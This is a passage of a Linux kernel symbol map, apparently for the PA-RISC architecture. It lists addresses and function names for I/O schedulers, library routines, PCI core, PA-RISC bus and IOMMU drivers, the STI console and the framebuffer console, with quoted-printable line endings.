102183b4 t deadline_exit_queue=0A=
1021842c t deadline_init_queue=0A=
10218580 t deadline_put_request=0A=
102185b0 t deadline_set_request=0A=
10218630 t deadline_var_show=0A=
10218658 t deadline_var_store=0A=
102186a0 t deadline_readexpire_show=0A=
102186bc t deadline_writeexpire_show=0A=
102186d8 t deadline_writesstarved_show=0A=
102186f4 t deadline_frontmerges_show=0A=
10218710 t deadline_fifobatch_show=0A=
1021872c t deadline_readexpire_store=0A=
10218790 t deadline_writeexpire_store=0A=
102187f4 t deadline_writesstarved_store=0A=
10218824 t deadline_frontmerges_store=0A=
10218884 t deadline_fifobatch_store=0A=
102188d4 t deadline_attr_show=0A=
1021890c t deadline_attr_store=0A=
10218948 t cfq_queue_empty=0A=
10218960 t cfq_choose_req=0A=
10218aa8 t cfq_find_next_crq=0A=
10218b18 t cfq_update_next_crq=0A=
10218b58 t cfq_resort_rr_list=0A=
10218c6c t cfq_activate_request=0A=
10218c84 t cfq_deactivate_request=0A=
10218cf4 t cfq_remove_request=0A=
10218e2c t __cfq_slice_expired=0A=
10218f20 t cfq_dispatch_insert=0A=
10218f94 t cfq_add_crq_rb=0A=
102190c0 t cfq_merged_request=0A=
102191b8 t cfq_merged_requests=0A=
1021923c t cfq_forced_dispatch_cfqqs=0A=
102192f8 t cfq_dispatch_requests=0A=
10219908 t cfq_find_cfq_hash=0A=
1021999c t cfq_merge=0A=
10219b38 t cfq_free_io_context=0A=
10219b90 t cfq_alloc_io_context=0A=
10219bf4 t cfq_init_prio_data=0A=
10219da0 t cfq_ioc_set_ioprio=0A=
10219de4 t cfq_start_queueing=0A=
10219e24 t cfq_insert_request=0A=
1021a1a4 t cfq_completed_request=0A=
1021a318 t cfq_former_request=0A=
1021a344 t cfq_latter_request=0A=
1021a370 t cfq_may_queue=0A=
1021a48c t cfq_kick_queue=0A=
1021a51c t cfq_idle_slice_timer=0A=
1021a654 t cfq_idle_class_timer=0A=
1021a720 t cfq_shutdown_timer_wq=0A=
1021a750 t cfq_put_cfqd=0A=
1021a7d0 t cfq_put_queue=0A=
1021a920 t cfq_put_request=0A=
1021aaa4 t cfq_set_request=0A=
1021af94 t cfq_exit_single_io_context=0A=
1021b050 t cfq_exit_io_context=0A=
1021b0ac t cfq_exit_queue=0A=
1021b0d4 t cfq_init_queue=0A=
1021b344 t cfq_slab_kill=0A=
1021b3a4 t cfq_var_show=0A=
1021b3cc t cfq_var_store=0A=
1021b414 t cfq_quantum_show=0A=
1021b430 t cfq_queued_show=0A=
1021b44c t cfq_fifo_expire_sync_show=0A=
1021b468 t cfq_fifo_expire_async_show=0A=
1021b484 t cfq_back_max_show=0A=
1021b4a0 t cfq_back_penalty_show=0A=
1021b4bc t cfq_slice_idle_show=0A=
1021b4d8 t cfq_slice_sync_show=0A=
1021b4f4 t cfq_slice_async_show=0A=
1021b510 t cfq_slice_async_rq_show=0A=
1021b52c t cfq_max_depth_show=0A=
1021b548 t cfq_quantum_store=0A=
1021b584 t cfq_queued_store=0A=
1021b5c0 t cfq_fifo_expire_sync_store=0A=
1021b608 t cfq_fifo_expire_async_store=0A=
1021b650 t cfq_back_max_store=0A=
1021b680 t cfq_back_penalty_store=0A=
1021b6bc t cfq_slice_idle_store=0A=
1021b6f8 t cfq_slice_sync_store=0A=
1021b740 t cfq_slice_async_store=0A=
1021b788 t cfq_slice_async_rq_store=0A=
1021b7c4 t cfq_max_depth_store=0A=
1021b800 t cfq_attr_show=0A=
1021b838 t cfq_attr_store=0A=
1021b874 T __bitmap_and=0A=
1021b8b0 T __bitmap_or=0A=
1021b8ec T __bitmap_xor=0A=
1021b928 T __bitmap_andnot=0A=
1021b964 T __bitmap_complement=0A=
1021b9d4 T __bitmap_equal=0A=
1021ba58 T __bitmap_intersects=0A=
1021bae0 T __bitmap_subset=0A=
1021bb68 T __bitmap_empty=0A=
1021bbe0 T __bitmap_full=0A=
1021bc58 T __bitmap_weight=0A=
1021bd9c T __bitmap_shift_right=0A=
1021bef4 T __bitmap_shift_left=0A=
1021c024 T bitmap_scnprintf=0A=
1021c128 T bitmap_parse=0A=
1021c440 T bitmap_scnlistprintf=0A=
1021c714 T bitmap_parselist=0A=
1021c8c4 t bitmap_pos_to_ord=0A=
1021cb40 t bitmap_ord_to_pos=0A=
1021cdac T bitmap_bitremap=0A=
1021ce64 T bitmap_remap=0A=
1021d140 T bitmap_find_free_region=0A=
1021d1c0 T bitmap_release_region=0A=
1021d210 T bitmap_allocate_region=0A=
1021d2b8 T bust_spinlocks=0A=
1021d328 T get_option=0A=
1021d3bc T get_options=0A=
1021d434 T memparse=0A=
1021d5e4 T _atomic_dec_and_lock=0A=
1021d608 T __div64_32=0A=
1021d764 t cmp_ex=0A=
1021d784 T sort_extable=0A=
1021d7b4 T search_extable=0A=
1021d7f8 t alloc_layer=0A=
1021d820 t free_layer=0A=
1021d83c T idr_pre_get=0A=
1021d8b8 t idr_get_new_above_int=0A=
1021dcbc T idr_get_new_above=0A=
1021dd00 T idr_get_new=0A=
1021dd48 T idr_remove=0A=
1021df28 T idr_destroy=0A=
1021df78 T idr_find=0A=
1021dfec t idr_cache_ctor=0A=
1021e00c T idr_init=0A=
1021e084 T int_sqrt=0A=
1021e0c4 T kobject_get_path=0A=
1021e188 T kobject_set_name=0A=
1021e278 T kobject_get=0A=
1021e2a0 T kobject_init=0A=
1021e2f4 T kobject_put=0A=
1021e324 T kobject_cleanup=0A=
1021e3d0 t kobject_release=0A=
1021e3ec t unlink=0A=
1021e428 T kobject_del=0A=
1021e44c T kobject_unregister=0A=
1021e47c T kobject_rename=0A=
1021e4c4 T kobject_add=0A=
1021e604 T kobject_register=0A=
1021e67c T kset_init=0A=
1021e6b0 T kset_add=0A=
1021e700 T kset_register=0A=
1021e724 T kset_unregister=0A=
1021e740 T kset_find_obj=0A=
1021e7f8 T subsystem_init=0A=
1021e820 T subsystem_register=0A=
1021e860 T subsystem_unregister=0A=
1021e878 T subsys_create_file=0A=
1021e8e4 T subsys_remove_file=0A=
1021e948 T kobject_uevent=0A=
1021ed9c T add_uevent_var=0A=
1021ee4c T kref_init=0A=
1021ee60 T kref_get=0A=
1021eec8 T kref_put=0A=
1021efb4 t get_index=0A=
1021f000 T prio_tree_replace=0A=
1021f0b4 T prio_tree_remove=0A=
1021f204 T prio_tree_insert=0A=
1021f560 t prio_tree_left=0A=
1021f66c t prio_tree_right=0A=
1021f7b4 t prio_tree_parent=0A=
1021f820 T prio_tree_next=0A=
1021f9c0 t radix_tree_node_alloc=0A=
1021fa28 T radix_tree_preload=0A=
1021faf0 T radix_tree_insert=0A=
1021fd88 T radix_tree_lookup_slot=0A=
1021fde8 T radix_tree_lookup=0A=
1021fe4c T radix_tree_tag_set=0A=
1021ff24 T radix_tree_tag_clear=0A=
10220018 T radix_tree_gang_lookup=0A=
1022017c T radix_tree_gang_lookup_tag=0A=
10220390 T radix_tree_delete=0A=
10220668 T radix_tree_tagged=0A=
102206ac t radix_tree_node_ctor=0A=
102206cc t __rb_rotate_left=0A=
10220720 t __rb_rotate_right=0A=
10220774 T rb_insert_color=0A=
102208a0 T rb_erase=0A=
10220b70 T rb_first=0A=
10220b90 T rb_last=0A=
10220bb0 T rb_next=0A=
10220c14 T rb_prev=0A=
10220c78 T rb_replace_node=0A=
10220cd0 T __down_read_trylock=0A=
10220d08 T __down_write_trylock=0A=
10220d40 T init_rwsem=0A=
10220d5c T __downgrade_write=0A=
10220e78 T __up_write=0A=
10221004 T __up_read=0A=
102210f0 T strnicmp=0A=
10221168 T strcpy=0A=
10221184 T strncpy=0A=
102211b0 T strlen=0A=
102211c8 T strlcpy=0A=
10221238 T strcat=0A=
10221260 T strncat=0A=
102212a0 T strlcat=0A=
1022135c T strcmp=0A=
10221384 T strncmp=0A=
102213bc T strchr=0A=
102213f0 T strrchr=0A=
1022143c T strnchr=0A=
10221480 T strnlen=0A=
102214b4 T strspn=0A=
10221514 T strcspn=0A=
10221558 T strpbrk=0A=
102215a0 T strsep=0A=
102215e8 T memmove=0A=
10221640 T memcmp=0A=
10221670 T memscan=0A=
10221690 T strstr=0A=
10221730 T memchr=0A=
10221764 T simple_strtoul=0A=
102218fc T simple_strtol=0A=
10221938 T simple_strtoull=0A=
10221ae0 T simple_strtoll=0A=
10221b20 t skip_atoi=0A=
10221b78 t number=0A=
10221eb8 T vsnprintf=0A=
102227cc T vscnprintf=0A=
102227f4 T snprintf=0A=
10222820 T scnprintf=0A=
1022285c T vsprintf=0A=
10222880 T sprintf=0A=
102228b4 T vsscanf=0A=
10223318 T sscanf=0A=
10223344 T __xchg32=0A=
10223358 T __xchg8=0A=
10223374 T __cmpxchg_u32=0A=
10223394 T memcpy_toio=0A=
10223424 T memcpy_fromio=0A=
1022350c T memset_io=0A=
10223594 T insb=0A=
10223664 T insw=0A=
102237f0 T insl=0A=
102239c4 T outsb=0A=
10223a30 T outsw=0A=
10223c14 T outsl=0A=
10223de4 T pa_memcpy=0A=
10224030 t pmc_store_exc=0A=
10224098 t cda_stw_exc=0A=
102240dc t pmc_load_exc=0A=
1022411c t cda_ldw_exc=0A=
10224148 T memcpy=0A=
1022417c T copy_to_user=0A=
102241b4 T copy_from_user=0A=
102241ec T copy_in_user=0A=
10224234 T memset=0A=
102242e0 T $$divoI=0A=
102242e4 T $$divI=0A=
10224530 T $$divU=0A=
10224740 T $$divI_2=0A=
10224740 T $$divide_by_constant=0A=
10224750 T $$divI_4=0A=
10224760 T $$divI_8=0A=
10224770 T $$divI_16=0A=
10224780 T $$divI_3=0A=
102247ac T $$divU_3=0A=
102247c4 T $$divI_5=0A=
102247f0 T $$divU_5=0A=
10224808 T $$divI_6=0A=
10224838 T $$divU_6=0A=
10224850 T $$divU_10=0A=
10224894 T $$divI_10=0A=
102248ec T $$divI_12=0A=
10224910 T $$divU_12=0A=
10224924 T $$divI_15=0A=
1022493c T $$divU_15=0A=
10224948 T $$divI_17=0A=
1022497c T $$divU_17=0A=
10224998 T $$divI_7=0A=
10224a38 T $$divU_7=0A=
10224a50 T $$divI_9=0A=
10224a84 T $$divU_9=0A=
10224aa0 T $$divI_14=0A=
10224aa4 T $$divU_14=0A=
10224ac0 t u32_swap=0A=
10224ad4 t generic_swap=0A=
10224af4 T sort=0A=
10224cfc T match_token=0A=
10224fe4 t match_number=0A=
102250a4 T match_int=0A=
102250c0 T match_octal=0A=
102250dc T match_hex=0A=
102250f8 T match_strcpy=0A=
10225140 T match_strdup=0A=
1022518c T half_md4_transform=0A=
102254c8 T crc32_le=0A=
102255d8 T crc32_be=0A=
102256cc T bitreverse=0A=
10225764 T crc32c_le=0A=
102257bc T crc32c_be=0A=
1022580c t ioport_read8=0A=
10225828 t ioport_read16=0A=
10225844 t ioport_read32=0A=
10225860 t ioport_write8=0A=
10225880 t ioport_write16=0A=
102258a0 t ioport_write32=0A=
102258bc t ioport_read8r=0A=
102258d8 t ioport_read16r=0A=
102258f4 t ioport_read32r=0A=
10225910 t ioport_write8r=0A=
1022592c t ioport_write16r=0A=
10225948 t ioport_write32r=0A=
10225964 t iomem_read8=0A=
10225978 t iomem_read16=0A=
10225998 t iomem_read16be=0A=
102259ac t iomem_read32=0A=
102259c0 t iomem_read32be=0A=
102259cc t iomem_write8=0A=
102259e0 t iomem_write16=0A=
10225a00 t iomem_write16be=0A=
10225a14 t iomem_write32=0A=
10225a28 t iomem_write32be=0A=
10225a30 t iomem_read8r=0A=
10225a5c t iomem_read16r=0A=
10225a88 t iomem_read32r=0A=
10225aac t iomem_write8r=0A=
10225ad4 t iomem_write16r=0A=
10225afc t iomem_write32r=0A=
10225b1c T ioread8=0A=
10225b60 T ioread16=0A=
10225bb0 T ioread16be=0A=
10225bf4 T ioread32=0A=
10225c44 T ioread32be=0A=
10225c88 T iowrite8=0A=
10225cd4 T iowrite16=0A=
10225d28 T iowrite16be=0A=
10225d74 T iowrite32=0A=
10225dc8 T iowrite32be=0A=
10225e0c T ioread8_rep=0A=
10225e6c T ioread16_rep=0A=
10225ecc T ioread32_rep=0A=
10225f2c T iowrite8_rep=0A=
10225f8c T iowrite16_rep=0A=
10225fec T iowrite32_rep=0A=
1022604c T ioport_map=0A=
10226058 T ioport_unmap=0A=
10226080 T pci_iomap=0A=
10226148 T pci_iounmap=0A=
10226174 T pci_bus_read_config_byte=0A=
102261cc T pci_bus_read_config_word=0A=
1022622c T pci_bus_read_config_dword=0A=
10226290 T pci_bus_write_config_byte=0A=
102262c8 T pci_bus_write_config_word=0A=
10226308 T pci_bus_write_config_dword=0A=
10226348 t pci_user_cached_config=0A=
10226364 T pci_user_read_config_byte=0A=
10226408 T pci_user_read_config_word=0A=
102264c4 T pci_user_read_config_dword=0A=
10226584 T pci_user_write_config_byte=0A=
102265d8 T pci_user_write_config_word=0A=
1022663c T pci_user_write_config_dword=0A=
102266a4 T pci_block_user_cfg_access=0A=
102266d4 T pci_unblock_user_cfg_access=0A=
102266ec T pci_bus_alloc_resource=0A=
102267e8 T pci_bus_add_device=0A=
10226834 T pci_bus_add_devices=0A=
1022696c T pci_enable_bridges=0A=
102269e8 T pci_walk_bus=0A=
10226aac T pci_remove_legacy_files=0A=
10226ab0 t pci_bus_show_cpuaffinity=0A=
10226b00 t release_pcibus_dev=0A=
10226b34 t pci_size=0A=
10226b6c t pci_read_bases=0A=
10226e4c T pci_read_bridge_bases=0A=
10227110 t pci_alloc_bus=0A=
1022716c T pci_add_new_bus=0A=
10227280 t pci_fixup_parent_subordinate_busnr=0A=
102272f4 t pci_read_irq=0A=
1022737c t pci_release_dev=0A=
10227398 T pci_cfg_space_size=0A=
10227438 t pci_release_bus_bridge_dev=0A=
10227450 T pci_device_add=0A=
102274d8 T pci_scan_single_device=0A=
10227850 T pci_scan_slot=0A=
102278d0 T pci_scan_child_bus=0A=
102279b0 T pci_scan_bridge=0A=
10227cdc T pci_do_scan_bus=0A=
10227d10 T pci_create_bus=0A=
10227f14 T pci_scan_bus_parented=0A=
10227f44 T pci_remove_bus=0A=
10227fc4 T pci_remove_bus_device=0A=
10228098 T pci_remove_behind_bridge=0A=
102280e8 t __pci_find_next_cap=0A=
102281d8 T pci_find_next_capability=0A=
10228208 t __pci_bus_find_cap=0A=
102282ac T pci_find_capability=0A=
102282d8 T pci_bus_find_capability=0A=
10228334 T pci_find_ext_capability=0A=
10228414 T pci_find_parent_resource=0A=
102284b0 T pci_restore_bars=0A=
1022855c T pci_set_power_state=0A=
1022875c T pci_choose_state=0A=
1022880c T pci_save_state=0A=
10228864 T pci_restore_state=0A=
102288bc T pci_enable_device_bars=0A=
10228930 T pci_enable_device=0A=
1022897c W pcibios_disable_device=0A=
10228980 T pci_disable_device=0A=
10228a44 T pci_enable_wake=0A=
10228b98 T pci_get_interrupt_pin=0A=
10228bdc T pci_release_region=0A=
10228c80 T pci_request_region=0A=
10228dd0 T pci_release_regions=0A=
10228e0c T pci_request_regions=0A=
10228e90 T pci_set_master=0A=
10228f38 T pci_set_mwi=0A=
10229078 T pci_clear_mwi=0A=
102290e0 T pci_intx=0A=
10229164 T pci_set_dma_mask=0A=
102291cc T pci_set_consistent_dma_mask=0A=
10229234 t pci_init=0A=
10229270 t pci_setup=0A=
10229300 t quirk_passive_release=0A=
102293a8 t quirk_isa_dma_hangs=0A=
102293e8 t quirk_nopcipci=0A=
10229430 t quirk_triton=0A=
10229478 t quirk_vialatency=0A=
10229560 t quirk_viaetbf=0A=
102295a8 t quirk_vsfx=0A=
102295f0 t quirk_natoma=0A=
10229638 t quirk_citrine=0A=
10229644 t quirk_s3_64M=0A=
10229674 t quirk_io_region=0A=
10229748 t quirk_ati_exploding_mce=0A=
102297a4 t quirk_ali7101_acpi=0A=
10229838 t piix4_io_quirk=0A=
102298d4 t piix4_mem_quirk=0A=
10229974 t quirk_piix4_acpi=0A=
10229b50 t quirk_ich4_lpc_acpi=0A=
10229bf0 t quirk_ich6_lpc_acpi=0A=
10229c90 t quirk_vt82c586_acpi=0A=
10229d18 t quirk_vt82c686_acpi=0A=
10229dbc t quirk_vt8235_acpi=0A=
10229e64 t quirk_via_acpi=0A=
10229ec4 t quirk_via_irq=0A=
10229f70 t quirk_vt82c598_id=0A=
10229fb0 t quirk_cardbus_legacy=0A=
10229ff4 t quirk_amd_ordering=0A=
1022a09c t quirk_dunord=0A=
1022a0b0 t quirk_transparent_bridge=0A=
1022a0c0 t quirk_ide_bases=0A=
1022a198 t quirk_svwks_csb5ide=0A=
1022a224 t quirk_pcie_mch=0A=
1022a234 t quirk_pcie_pxh=0A=
1022a26c t quirk_netmos=0A=
1022a318 t fixup_rev1_53c810=0A=
1022a358 T pci_fixup_device=0A=
1022a44c t quirk_p64h2_1k_io=0A=
1022a50c t store_new_id=0A=
1022a66c T pci_match_id=0A=
1022a740 T pci_match_device=0A=
1022a830 t pci_device_suspend=0A=
1022a88c t pci_device_resume=0A=
1022a910 t pci_device_shutdown=0A=
1022a944 t pci_driver_attr_show=0A=
1022a9bc t pci_driver_attr_store=0A=
1022aa44 T __pci_register_driver=0A=
1022aaf4 T pci_unregister_driver=0A=
1022ab70 T pci_dev_driver=0A=
1022abb4 t pci_bus_match=0A=
1022abe0 T pci_dev_get=0A=
1022ac08 T pci_dev_put=0A=
1022ac30 t pci_device_remove=0A=
1022ac78 t pci_device_probe=0A=
1022ad30 t pci_do_find_bus=0A=
1022ad9c T pci_find_next_bus=0A=
1022ae38 T pci_find_bus=0A=
1022aea0 T pci_get_slot=0A=
1022af48 T pci_find_device=0A=
1022b024 T pci_find_slot=0A=
1022b090 T pci_get_subsys=0A=
1022b1ac T pci_get_device=0A=
1022b1d0 T pci_find_device_reverse=0A=
1022b2ac T pci_get_class=0A=
1022b364 T pci_dev_present=0A=
1022b4e8 t vendor_show=0A=
1022b514 t device_show=0A=
1022b540 t subsystem_vendor_show=0A=
1022b56c t subsystem_device_show=0A=
1022b598 t class_show=0A=
1022b5c4 t irq_show=0A=
1022b5f0 t local_cpus_show=0A=
1022b648 t resource_show=0A=
1022b6f4 t modalias_show=0A=
1022b750 t pci_read_config=0A=
1022b9b8 t pci_write_config=0A=
1022bbe4 t pci_write_rom=0A=
1022bc24 t pci_read_rom=0A=
1022bd20 T pci_create_sysfs_dev_files=0A=
1022be4c T pci_remove_sysfs_dev_files=0A=
1022bef8 t pci_disable_rom=0A=
1022bf48 T pci_map_rom=0A=
1022c210 T pci_unmap_rom=0A=
1022c26c T pci_map_rom_copy=0A=
1022c334 T pci_remove_rom=0A=
1022c3c0 T pci_cleanup_rom=0A=
1022c408 T pci_update_resource=0A=
1022c5bc T pci_claim_resource=0A=
1022c6a8 T pci_assign_resource=0A=
1022c84c T pdev_sort_resources=0A=
1022c9b4 t proc_bus_pci_lseek=0A=
1022cac8 t proc_bus_pci_read=0A=
1022cd98 t proc_bus_pci_write=0A=
1022cfd4 t proc_bus_pci_ioctl=0A=
1022cfe8 t pci_seq_start=0A=
1022d03c t pci_seq_next=0A=
1022d07c t pci_seq_stop=0A=
1022d0a4 t show_device=0A=
1022d21c T pci_proc_attach_device=0A=
1022d304 T pci_proc_detach_device=0A=
1022d348 T pci_proc_detach_bus=0A=
1022d378 t show_dev_config=0A=
1022d650 t proc_pci_open=0A=
1022d674 t proc_bus_pci_dev_open=0A=
1022d698 T pci_uevent=0A=
1022d87c T pci_setup_cardbus=0A=
1022da58 t find_free_bus_resource=0A=
1022dac4 t pbus_size_mem=0A=
1022dd2c T pci_bus_size_bridges=0A=
1022e148 T pci_bus_assign_resources=0A=
1022e528 T sys_pciconfig_read=0A=
1022e770 T sys_pciconfig_write=0A=
1022e8a0 t iosapic_alloc_irt=0A=
1022e8cc t iosapic_wr_irt_entry=0A=
1022e940 t iosapic_get_vector=0A=
1022e958 t iosapic_disable_irq=0A=
1022ea04 t iosapic_enable_irq=0A=
1022eac0 t iosapic_end_irq=0A=
1022eae4 t iosapic_startup_irq=0A=
1022eb00 T iosapic_fixup_irq=0A=
1022ed4c T iosapic_register=0A=
1022ef28 t sba_alloc_range=0A=
1022f2c0 T sba_io_pdir_entry=0A=
1022f39c t sba_dma_supported=0A=
1022f494 t sba_map_single=0A=
1022f694 t sba_unmap_single=0A=
1022f860 t sba_alloc_consistent=0A=
1022f8f8 t sba_free_consistent=0A=
1022f94c t sba_map_sg=0A=
1022fd0c t sba_unmap_sg=0A=
1022fde4 t setup_ibase_imask=0A=
1022fe78 t ioc_remap=0A=
1022fea4 t sba_proc_info=0A=
1023003c T sba_driver_callback=0A=
10230ae4 T sba_get_iommu=0A=
10230b7c T sba_directed_lmmio=0A=
10230c80 T sba_distributed_lmmio=0A=
10230d6c t lba_dump_res=0A=
10230e0c t lba_device_present=0A=
10230e40 t elroy_cfg_read=0A=
1023112c t elroy_cfg_write=0A=
102314d0 t mercury_cfg_read=0A=
10231628 t mercury_cfg_write=0A=
102317bc t lba_bios_init=0A=
102317c0 t lba_fixup_bus=0A=
102319e4 t lba_astro_in8=0A=
10231a08 t lba_astro_in16=0A=
10231a38 t lba_astro_in32=0A=
10231a5c t lba_astro_out8=0A=
10231a98 t lba_astro_out16=0A=
10231ae0 t lba_astro_out32=0A=
10231b1c T lba_set_iregs=0A=
10231bfc t ccio_alloc_range=0A=
10231e44 T ccio_io_pdir_entry=0A=
10231eb8 t ccio_dma_supported=0A=
10231f1c t ccio_map_single=0A=
1023209c t ccio_unmap_single=0A=
10232318 t ccio_alloc_consistent=0A=
102323a0 t ccio_free_consistent=0A=
102323f4 t ccio_map_sg=0A=
10232870 t ccio_unmap_sg=0A=
1023295c t proc_append=0A=
10232a00 t ccio_proc_info=0A=
10232bdc t ccio_resource_map=0A=
10232ccc T ccio_get_iommu=0A=
10232d40 T ccio_cujo20_fixup=0A=
10232d9c t ccio_init_resource=0A=
10232e24 t new_ioc_area=0A=
10232ea8 t expand_ioc_area=0A=
10232f8c T ccio_allocate_resource=0A=
10233114 T ccio_request_resource=0A=
10233190 t ccio_probe=0A=
102335bc T gsc_alloc_irq=0A=
10233628 T gsc_claim_irq=0A=
102336a8 T gsc_asic_intr=0A=
1023376c T gsc_find_local_irq=0A=
10233790 t gsc_asic_disable_irq=0A=
102337e0 t gsc_asic_enable_irq=0A=
10233830 t gsc_asic_startup_irq=0A=
1023384c T gsc_assign_irq=0A=
1023388c T gsc_asic_assign_irq=0A=
102338e4 T gsc_fixup_irqs=0A=
1023399c T gsc_common_setup=0A=
102339fc t hppb_probe=0A=
10233af8 t dino_cfg_read=0A=
10233c58 t dino_cfg_write=0A=
10233dd0 t dino_in8=0A=
10233e0c t dino_in16=0A=
10233e58 t dino_in32=0A=
10233e8c t dino_out8=0A=
10233ec8 t dino_out16=0A=
10233f10 t dino_out32=0A=
10233f40 t dino_disable_irq=0A=
10233f94 t dino_enable_irq=0A=
1023401c t dino_startup_irq=0A=
10234038 t dino_isr=0A=
10234168 t dino_assign_irq=0A=
102341b8 t dino_choose_irq=0A=
10234224 t quirk_cirrus_cardbus=0A=
1023426c t lasi_choose_irq=0A=
10234390 t lasi_power_off=0A=
102343ac t asp_choose_irq=0A=
102344c8 t wax_choose_irq=0A=
10234594 t led_proc_read=0A=
102346c4 t led_ASP_driver=0A=
10234718 t led_LASI_driver=0A=
10234738 t led_LCD_driver=0A=
10234868 t led_work_func=0A=
10234a9c T lcd_print=0A=
10234c4c t start_task=0A=
10234ce0 t led_proc_write=0A=
10234f3c t led_halt=0A=
10235014 t pdcspath_store=0A=
10235104 t pdcspath_hwpath_read=0A=
102351b8 t pdcspath_hwpath_write=0A=
102353e4 t pdcspath_layer_read=0A=
102354a8 t pdcspath_layer_write=0A=
10235688 t pdcspath_attr_show=0A=
102356bc t pdcspath_attr_store=0A=
1023573c t pdcs_size_read=0A=
1023577c t pdcs_auto_read=0A=
102357d4 t pdcs_autoboot_read=0A=
102357f0 t pdcs_autosearch_read=0A=
1023580c t pdcs_timer_read=0A=
10235860 t pdcs_osid_read=0A=
10235940 t pdcs_fastsize_read=0A=
102359f4 t pdcs_auto_write=0A=
10235be8 t pdcs_autoboot_write=0A=
10235c04 t pdcs_autosearch_write=0A=
10235c20 t deferred_poweroff=0A=
10235c58 t process_shutdown=0A=
10235cc4 t gecko_tasklet_func=0A=
10235d04 t polling_tasklet_func=0A=
10235d44 t parisc_panic_event=0A=
10235d64 t dummycon_startup=0A=
10235d70 t dummycon_init=0A=
10235dbc t dummycon_dummy=0A=
10235dc4 t sticon_set_palette=0A=
10235dcc t sticon_putc=0A=
10235e20 t sticon_putcs=0A=
10235ebc t sticon_cursor=0A=
10235f54 t sticon_scroll=0A=
1023605c t sticon_bmove=0A=
1023609c t sticon_init=0A=
10236164 t sticon_deinit=0A=
10236168 t sticon_clear=0A=
102361b0 t sticon_switch=0A=
102361b8 t sticon_set_origin=0A=
102361c0 t sticon_blank=0A=
10236234 t sticon_scrolldelta=0A=
1023623c t sticon_screen_pos=0A=
102362d0 t sticon_getxy=0A=
10236424 t sticon_build_attr=0A=
10236440 t sticon_invert_region=0A=
1023648c t sticon_save_screen=0A=
10236490 T sti_init_graph=0A=
10236564 T sti_inq_conf=0A=
10236600 T sti_putc=0A=
10236730 T sti_set=0A=
10236808 T sti_clear=0A=
10236964 T sti_bmove=0A=
10236ab4 t sti_flush=0A=
10236b04 t sticore_pci_init=0A=
10236c70 t sticore_pci_remove=0A=
10236ca8 T sti_get_rom=0A=
10236d5c T find_font=0A=
10236d98 T get_default_font=0A=
10236ddc t fbcon_update_softback=0A=
10236e2c t fb_flashcursor=0A=
102371b8 t cursor_timer_handler=0A=
102371f0 t fbcon_add_cursor_timer=0A=
10237318 t fbcon_del_cursor_timer=0A=
10237388 t search_fb_in_map=0A=
102373bc t fbcon_takeover=0A=
10237490 t fbcon_clear_margins=0A=
10237500 t fbcon_prepare_logo=0A=
102378b8 t set_blitting_type=0A=
1023790c t var_to_display=0A=
102379e8 t fbcon_preset_disp=0A=
10237a80 t display_to_var=0A=
10237b54 t fbcon_startup=0A=
10237e38 t fbcon_init=0A=
1023820c t fbcon_deinit=0A=
10238298 t fbcon_clear=0A=
10238428 t fbcon_putcs=0A=
1023876c t fbcon_putc=0A=
10238798 t fbcon_set_disp=0A=
10238a38 t set_con2fb_map=0A=
10238ee8 t fbcon_redraw_move=0A=
10239014 t fbcon_redraw=0A=
102391e4 t fbcon_bmove_rec=0A=
10239400 t fbcon_bmove=0A=
102394d0 t fbcon_resize=0A=
10239964 t fbcon_get_font=0A=
10239b6c t fbcon_set_palette=0A=
10239cdc t fbcon_screen_pos=0A=
10239d70 t fbcon_getxy=0A=
10239ec4 t fbcon_invert_region=0A=
10239fe8 t fbcon_scrolldelta=0A=
1023a5e8 t fbcon_set_origin=0A=
1023a628 t fbcon_cursor=0A=
1023a978 t fbcon_blank=0A=
1023ab68 t fbcon_scroll=0A=
1023b900 t fbcon_do_set_font=0A=
1023bcb8 t fbcon_copy_font=0A=
1023bd14 t fbcon_set_def_font=0A=
1023bdb0 t fbcon_set_font=0A=
1023bfb4 t fbcon_switch=0A=
1023c678 t fbcon_event_notify=0A=
1023d218 t bit_bmove=0A=
1023d2c0 t bit_clear=0A=
1023d374 t bit_putcs=0A=
1023d930 t bit_clear_margins=0A=
1023da74 t bit_cursor=0A=
1023e084 t bit_update_start=0A=
1023e0c8 T fbcon_set_bitops=0A=
1023e118 T soft_cursor=0A=
1023e33c T fb_get_color_depth=0A=
1023e390 T fb_pad_aligned_buffer=0A=
1023e3d0 T fb_pad_unaligned_buffer=0A=
1023e498 T fb_get_buffer_offset=0A=
1023e55c T fb_prepare_logo=0A=
1023e564 T fb_show_logo=0A=
1023e56c t fbmem_read_proc=0A=
1023e674 t fb_read=0A=
1023e8d8 t fb_write=0A=
1023eb44 t try_to_load=0A=
1023eb68 T fb_pan_display=0A=
1023ecb8 T fb_set_var=0A=
1023eeb4 T fb_blank=0A=
1023ef50 t fb_ioctl=0A=
1023f288 t fb_mmap=0A=
1023f3ac t fb_open=0A=
1023f4c0 t fb_release=0A=
1023f540 T register_framebuffer=0A=
1023f6dc T unregister_framebuffer=0A=
1023f780 T fb_register_client=0A=
1023f7a4 T fb_unregister_client=0A=
1023f7c8 T fb_set_suspend=0A=
1023f834 T fb_new_modelist=0A=
1023f980 T fb_con_duit=0A=
1023f9ac T fb_get_options=0A=
1023fb04 T fb_parse_edid=0A=
1023fb0c T fb_edid_to_monspecs=0A=
1023fb10 T fb_destroy_modedb=0A=
1023fb14 T fb_get_mode=0A=
1023fb1c T fb_validate_mode=0A=
1023fcb8 T fb_firmware_edid=0A=
1023fcc0 T fb_dealloc_cmap=0A=
1023fd0c T fb_default_cmap=0A=
1023fd3c T fb_copy_cmap=0A=
1023fe30 T fb_alloc_cmap=0A=
1023ff38 T fb_cmap_to_user=0A=
10240050 T fb_set_cmap=0A=
10240194 T fb_set_user_cmap=0A=
102402d4 T fb_invert_cmaps=0A=
10240438 T framebuffer_alloc=0A=
1024049c T framebuffer_release=0A=
102404b4 t activate=0A=
10240518 t mode_string=0A=
1024058c t store_mode=0A=
102406e4 t show_mode=0A=
1024071c t store_modes=0A=
10240814 t show_modes=0A=
10240888 t store_bpp=0A=
10240904 t show_bpp=0A=
10240934 t store_rotate=0A=
102409b0 t show_rotate=0A=
102409e0 t store_con_rotate=0A=
10240a4c t store_con_rotate_all=0A=
10240ab8 t show_con_rotate=0A=
10240b10 t store_virtual=0A=
10240bc0 t show_virtual=0A=
10240bf8 t show_stride=0A=
10240c28 t store_cmap=0A=
10240f68 t show_cmap=0A=
10241060 t store_blank=0A=
102410e8 t show_blank=0A=
102410f0 t store_console=0A=
102410f8 t show_console=0A=
10241100 t store_cursor=0A=
10241108 t show_cursor=0A=
10241110 t store_pan=0A=
102411d0 t show_pan=0A=
10241208 t show_name=0A=
